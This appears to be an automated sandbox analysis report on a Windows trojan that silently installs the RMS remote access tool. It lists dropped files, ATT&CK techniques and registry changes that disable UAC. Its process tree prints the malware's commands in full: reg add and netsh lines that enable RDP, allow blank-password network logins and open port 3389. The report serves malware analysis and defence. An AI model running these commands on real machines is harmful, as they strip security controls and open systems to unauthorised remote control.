rms | 26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98

Analysis

max time kernel
147s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
13/02/2022, 14:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Size 8.0MB
Sample220213-scelwsdaal
SHA256 26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98
MD5 551c68060abcb1f72a073563fdad2d3d
SHA1 4705fe4566daab6caa3581f4b2f1704fa20f3611
SHA512 af998f95fada43d33d0af88a0785b6cc26a8989cbe06fd86da5284fea0f0095a25854ec2649f6b1a0e805ec3867f25d6ac4ef3072f43246772626cbfdbe94726
MD5 SHA1 SHA512

Score

10^/10

rms evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms
UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112

Executes dropped EXE 11 IoCs

pid	Process
3256	microsoft.exe
4364	RedirectGen.exe
2084	rutserg.exe
4900	rutserg.exe
4232	rutserg.exe
4156	rutserg.exe
1096	rfusclient.exe
396	rfusclient.exe
4044	sys.exe
3012	run.exe
3420	rfusclient.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000500000001e8c6-155.dat	upx
behavioral2/files/0x000500000001e8c6-156.dat	upx

Allows Network login with blank passwords 1 TTPs 1 IoCs

Allows local user accounts with blank passwords to access device from the network.

Remote Desktop Protocol

T1076

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\limitblankpassworduse = "0"	reg.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	microsoft.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files\RMS\sys.exe	microsoft.exe
File opened for modification	C:\Program Files\RMS	microsoft.exe
File opened for modification	C:\Program Files\RMS\regedit.reg	microsoft.exe
File opened for modification	C:\Program Files\RMS\vp8decoder.dll	microsoft.exe
File opened for modification	C:\Program Files\Joiner	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
File created	C:\Program Files\RMS\settings.ini	microsoft.exe
File created	C:\Program Files\RMS\regedit.reg	microsoft.exe
File created	C:\Program Files\RMS\vp8encoder.dll	microsoft.exe
File opened for modification	C:\Program Files\RMS\settings.ini	microsoft.exe
File created	C:\Program Files\Joiner\microsoft.exe	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
File created	C:\Program Files\RMS\rfusclient.exe	microsoft.exe
File created	C:\Program Files\RMS\vp8decoder.dll	microsoft.exe
File opened for modification	C:\Program Files\RMS\sys.exe	microsoft.exe
File opened for modification	C:\Program Files\RMS\rutserg.exe	microsoft.exe
File opened for modification	C:\Program Files\RMS\rfusclient.exe	microsoft.exe
File opened for modification	C:\Program Files\RMS\vp8encoder.dll	microsoft.exe
File created	C:\Program Files\Joiner\RedirectGen.exe	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
File created	C:\Program Files\RMS\rutserg.exe	microsoft.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WinSxS\pending.xml	TiWorker.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe

Runs .reg file with regedit 2 IoCs

pid	Process
2644	regedit.exe
4436	regedit.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
3256	microsoft.exe
3256	microsoft.exe
2084	rutserg.exe
2084	rutserg.exe
2084	rutserg.exe
2084	rutserg.exe
2084	rutserg.exe
2084	rutserg.exe
4900	rutserg.exe
4900	rutserg.exe
4232	rutserg.exe
4232	rutserg.exe
4156	rutserg.exe
4156	rutserg.exe
4156	rutserg.exe
4156	rutserg.exe
4156	rutserg.exe
4156	rutserg.exe
1096	rfusclient.exe
1096	rfusclient.exe
3256	microsoft.exe
3256	microsoft.exe
3256	microsoft.exe
3256	microsoft.exe
3256	microsoft.exe
3256	microsoft.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
3420	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: 33	2308	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Token: SeIncBasePriorityPrivilege	2308	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Token: 33	3256	microsoft.exe
Token: SeIncBasePriorityPrivilege	3256	microsoft.exe
Token: SeDebugPrivilege	2084	rutserg.exe
Token: SeShutdownPrivilege	920	svchost.exe
Token: SeCreatePagefilePrivilege	920	svchost.exe
Token: SeShutdownPrivilege	920	svchost.exe
Token: SeCreatePagefilePrivilege	920	svchost.exe
Token: SeDebugPrivilege	4232	rutserg.exe
Token: SeTakeOwnershipPrivilege	4156	rutserg.exe
Token: SeTcbPrivilege	4156	rutserg.exe
Token: SeShutdownPrivilege	920	svchost.exe
Token: SeCreatePagefilePrivilege	920	svchost.exe
Token: SeTcbPrivilege	4156	rutserg.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe
Token: SeRestorePrivilege	2564	TiWorker.exe
Token: SeSecurityPrivilege	2564	TiWorker.exe
Token: SeBackupPrivilege	2564	TiWorker.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2084	rutserg.exe
4900	rutserg.exe
4232	rutserg.exe
4156	rutserg.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 3256	2308	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe	81
PID 2308 wrote to memory of 3256	2308	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe	81
PID 2308 wrote to memory of 3256	2308	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe	81
PID 2308 wrote to memory of 4364	2308	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe	82
PID 2308 wrote to memory of 4364	2308	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe	82
PID 2308 wrote to memory of 4364	2308	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe	82
PID 3256 wrote to memory of 2644	3256	microsoft.exe	83
PID 3256 wrote to memory of 2644	3256	microsoft.exe	83
PID 3256 wrote to memory of 2644	3256	microsoft.exe	83
PID 3256 wrote to memory of 2084	3256	microsoft.exe	86
PID 3256 wrote to memory of 2084	3256	microsoft.exe	86
PID 3256 wrote to memory of 2084	3256	microsoft.exe	86
PID 3256 wrote to memory of 4900	3256	microsoft.exe	89
PID 3256 wrote to memory of 4900	3256	microsoft.exe	89
PID 3256 wrote to memory of 4900	3256	microsoft.exe	89
PID 3256 wrote to memory of 4436	3256	microsoft.exe	91
PID 3256 wrote to memory of 4436	3256	microsoft.exe	91
PID 3256 wrote to memory of 4436	3256	microsoft.exe	91
PID 3256 wrote to memory of 4232	3256	microsoft.exe	92
PID 3256 wrote to memory of 4232	3256	microsoft.exe	92
PID 3256 wrote to memory of 4232	3256	microsoft.exe	92
PID 4156 wrote to memory of 1096	4156	rutserg.exe	97
PID 4156 wrote to memory of 1096	4156	rutserg.exe	97
PID 4156 wrote to memory of 1096	4156	rutserg.exe	97
PID 4156 wrote to memory of 396	4156	rutserg.exe	98
PID 4156 wrote to memory of 396	4156	rutserg.exe	98
PID 4156 wrote to memory of 396	4156	rutserg.exe	98
PID 3256 wrote to memory of 4044	3256	microsoft.exe	99
PID 3256 wrote to memory of 4044	3256	microsoft.exe	99
PID 3256 wrote to memory of 4044	3256	microsoft.exe	99
PID 4044 wrote to memory of 1864	4044	sys.exe	101
PID 4044 wrote to memory of 1864	4044	sys.exe	101
PID 4044 wrote to memory of 1864	4044	sys.exe	101
PID 4044 wrote to memory of 3012	4044	sys.exe	102
PID 4044 wrote to memory of 3012	4044	sys.exe	102
PID 4044 wrote to memory of 3012	4044	sys.exe	102
PID 1864 wrote to memory of 3480	1864	cmd.exe	104
PID 1864 wrote to memory of 3480	1864	cmd.exe	104
PID 1864 wrote to memory of 3480	1864	cmd.exe	104
PID 1864 wrote to memory of 4832	1864	cmd.exe	105
PID 1864 wrote to memory of 4832	1864	cmd.exe	105
PID 1864 wrote to memory of 4832	1864	cmd.exe	105
PID 1864 wrote to memory of 2928	1864	cmd.exe	106
PID 1864 wrote to memory of 2928	1864	cmd.exe	106
PID 1864 wrote to memory of 2928	1864	cmd.exe	106
PID 1864 wrote to memory of 1040	1864	cmd.exe	107
PID 1864 wrote to memory of 1040	1864	cmd.exe	107
PID 1864 wrote to memory of 1040	1864	cmd.exe	107
PID 1864 wrote to memory of 3672	1864	cmd.exe	108
PID 1864 wrote to memory of 3672	1864	cmd.exe	108
PID 1864 wrote to memory of 3672	1864	cmd.exe	108
PID 1096 wrote to memory of 3420	1096	rfusclient.exe	112
PID 1096 wrote to memory of 3420	1096	rfusclient.exe	112
PID 1096 wrote to memory of 3420	1096	rfusclient.exe	112

System policy modification 1 TTPs 22 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	microsoft.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "0"	microsoft.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	microsoft.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "0"	microsoft.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "0"	microsoft.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3"	microsoft.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	microsoft.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	microsoft.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0"	microsoft.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	microsoft.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "0"	26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	microsoft.exe

C:\Users\Admin\AppData\Local\Temp\26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe
"C:\Users\Admin\AppData\Local\Temp\26d53d70fee8f641b32655815fae4ff1ee03ef99009ff6e16a70ab592cdc8c98.exe"
1⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2308
- C:\Program Files\Joiner\microsoft.exe
  "C:\Program Files\Joiner\microsoft.exe"
  2⤵
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3256
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s "C:\Program Files\RMS\regedit.reg"
    3⤵
    - Runs .reg file with regedit
    PID:2644
- - C:\Program Files\RMS\rutserg.exe
    "C:\Program Files\RMS\rutserg.exe" /silentinstall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2084
- - C:\Program Files\RMS\rutserg.exe
    "C:\Program Files\RMS\rutserg.exe" /firewall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4900
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s "C:\Program Files\RMS\regedit.reg"
    3⤵
    - Runs .reg file with regedit
    PID:4436
- - C:\Program Files\RMS\rutserg.exe
    "C:\Program Files\RMS\rutserg.exe" /start
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4232
- - C:\Program Files\RMS\sys.exe
    "C:\Program Files\RMS\sys.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Services\run.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1864
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
        5⤵
        
        PID:3480
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
        5⤵
        
        PID:4832
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2928
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v limitblankpassworduse /t REG_DWORD /d 0 /f
        5⤵
        Allows Network login with blank passwords
        
        PID:1040
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
        5⤵
        
        PID:3672
  - - C:\Users\Admin\AppData\Roaming\Services\run.exe
      C:\Users\Admin\AppData\Roaming\Services\run.exe
      4⤵
      Executes dropped EXE
      PID:3012
- C:\Program Files\Joiner\RedirectGen.exe
  "C:\Program Files\Joiner\RedirectGen.exe"
  2⤵
  - Executes dropped EXE
  PID:4364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:920

C:\Program Files\RMS\rutserg.exe
"C:\Program Files\RMS\rutserg.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4156
- C:\Program Files\RMS\rfusclient.exe
  "C:\Program Files\RMS\rfusclient.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Program Files\RMS\rfusclient.exe
    "C:\Program Files\RMS\rfusclient.exe" /tray
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: SetClipboardViewer
    PID:3420
- C:\Program Files\RMS\rfusclient.exe
  "C:\Program Files\RMS\rfusclient.exe" /tray
  2⤵
  - Executes dropped EXE
  PID:396

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2564

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/396-169-0x0000000000D10000-0x0000000000D11000-memory.dmp

Download

memory/920-145-0x0000019502320000-0x0000019502330000-memory.dmp

Download

memory/920-146-0x0000019502540000-0x0000019502550000-memory.dmp

Download

memory/920-149-0x0000019504A30000-0x0000019504A34000-memory.dmp

Download

memory/1096-171-0x0000000000A42000-0x0000000000A43000-memory.dmp

Download

memory/1096-172-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

Download

memory/2308-138-0x0000000000400000-0x0000000000C16000-memory.dmp

Download

memory/2308-133-0x0000000001170000-0x0000000001172000-memory.dmp

Download

memory/2308-130-0x0000000000400000-0x0000000000C16000-memory.dmp

Download

memory/3256-137-0x0000000000400000-0x0000000000DE7000-memory.dmp

Download

memory/3256-166-0x0000000000400000-0x0000000000DE7000-memory.dmp

Download

memory/4044-158-0x0000000000400000-0x0000000000933562-memory.dmp

Download

memory/4044-164-0x0000000002620000-0x0000000002946000-memory.dmp

Download

memory/4044-165-0x0000000002980000-0x0000000002983000-memory.dmp

Download

memory/4044-167-0x0000000002970000-0x0000000002976000-memory.dmp

Download

memory/4044-163-0x0000000000401000-0x0000000000742000-memory.dmp

Download

memory/4044-157-0x0000000000400000-0x0000000000933562-memory.dmp

Download

memory/4156-170-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

Download